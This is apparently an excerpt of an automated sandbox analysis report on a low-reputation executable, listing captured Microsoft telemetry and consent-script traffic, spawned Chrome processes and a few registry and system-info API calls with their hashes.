2024-11-17 11:35:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:38 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 6864d5dd-401e-00ac-049c-370a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113538Z-164f84587bfdt5l2hC1DFW88gs00000002h0000000006t77 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 11:35:38 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:38 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 18d5585a-801e-0015-2dfc-35f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113538Z-16547b76f7fd4rc5hC1DFWkzhw00000004m0000000002w6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:38 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:38 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: cbfe6fba-701e-0053-2775-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113538Z-16547b76f7fbkfmzhC1DFWm9tw00000003t000000000b9a9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:38 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49879	13.107.246.45	443	5308	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 11:35:38 UTC	712	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:38 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 8369 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 61482e77-b01e-00fa-40d1-38cf07000000 x-ms-version: 2009-09-19 x-azure-ref: 20241117T113538Z-164f84587bf6h2bxhC1DFWbcm800000004f0000000003yag Accept-Ranges: bytes
2024-11-17 11:35:38 UTC	15672	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-17 11:35:38 UTC	16384	IN	Data Raw: 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 Data Ascii: {return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cookie
2024-11-17 11:35:38 UTC	710	IN	Data Raw: 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 Data Ascii: r"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + la
2024-11-17 11:35:38 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-17 11:35:38 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49878	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-17 11:35:38 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=18584 Date: Sun, 17 Nov 2024 11:35:38 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:38 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:38 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: a0c7144d-101e-007a-2509-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113538Z-16547b76f7f2b5qzhC1DFWeag400000002h0000000001c99 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:39 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Target ID:	0
Start time:	06:35:02
Start date:	17/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xcb0000
File size:	1'904'128 bytes
MD5 hash:	54EA56952815E8D93FCC8D8E4FF07015
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:35:30
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	06:35:31
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1976,i,2413238672363069043,8081917924394963987,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	06:35:34
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:35:34
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1456 --field-trial-handle=1996,i,12330693015052581531,7143536758829977375,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Executed Functions

Function 060BCE3D Relevance: 4.6, APIs: 3, Instructions: 98
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 060BD8F0
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 060BD917
GetNativeSystemInfo.KERNEL32(?), ref: 060BD96E

Memory Dump Source

Source File: 00000000.00000002.2464918587.00000000060B8000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F20000, based on PE: true

Associated: 00000000.00000002.2464594172.0000000005F20000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464729184.0000000005F22000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464833143.0000000005F26000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.0000000005F2A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.00000000061CD000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.00000000061DC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.00000000061DE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f20000_file.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 0b63eaee870070f0137c5cf3695bfdf9ffee4524c2012482bbe0a52da95c6302
Instruction ID: 2af03502e045c0b5df4db9bddb174cd998e904147644f049f87c4fa99fb5de38
Opcode Fuzzy Hash: 0b63eaee870070f0137c5cf3695bfdf9ffee4524c2012482bbe0a52da95c6302
Instruction Fuzzy Hash: D14137B155820ADEEB90DF54C845AEEBAF8EF04340F01542AA986C2A50D7B28CA4CF59

Non-executed Functions

Function 060CAF1B Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2464918587.00000000060B8000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F20000, based on PE: true

Associated: 00000000.00000002.2464594172.0000000005F20000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464729184.0000000005F22000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464833143.0000000005F26000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.0000000005F2A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.00000000061CD000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.00000000061DC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.00000000061DE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32735af07d50a7257e27c693c37dbdf7c6eac728ec20b9a9faed3b0e6e1924d7
Instruction ID: 7f16c02d8db6cb4607af515fd55b60debd30007391216d1bc163763a0d912900
Opcode Fuzzy Hash: 32735af07d50a7257e27c693c37dbdf7c6eac728ec20b9a9faed3b0e6e1924d7
Instruction Fuzzy Hash: 1C314EF614C204AFE305AF45ED81ABEFBE9EBC4330F12882EF6C182600D73508459A67

Function 060C4E6D Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2464918587.00000000060B8000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F20000, based on PE: true

Associated: 00000000.00000002.2464594172.0000000005F20000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464729184.0000000005F22000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464833143.0000000005F26000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.0000000005F2A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.00000000061CD000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.00000000061DC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.00000000061DE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26400537b09ad204e4083198ad63aac89d31e92c46bba38f6b248fc23739d1dd
Instruction ID: 27d08ef3262aef40ded515d6be26fef497ed451391b2b71c92cb07ac010f6a05
Opcode Fuzzy Hash: 26400537b09ad204e4083198ad63aac89d31e92c46bba38f6b248fc23739d1dd
Instruction Fuzzy Hash: FF2149B14AC708DFF3A47F54D94567DBBE0AB05720F010E2ED6D286200E67618D5DB87

Function 060C4CB7 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2464918587.00000000060B8000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F20000, based on PE: true

Associated: 00000000.00000002.2464594172.0000000005F20000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464729184.0000000005F22000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464833143.0000000005F26000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.0000000005F2A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.00000000061CD000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.00000000061DC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2464918587.00000000061DE000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c453605b12239e6b7cd5e502d33985e40ee70b0ccc17854a80ecd200aa68e69
Instruction ID: 5d50fbc0e6198047992fb10a00d6061ab020cd714a3d7605f42162d5624ec287
Opcode Fuzzy Hash: 5c453605b12239e6b7cd5e502d33985e40ee70b0ccc17854a80ecd200aa68e69
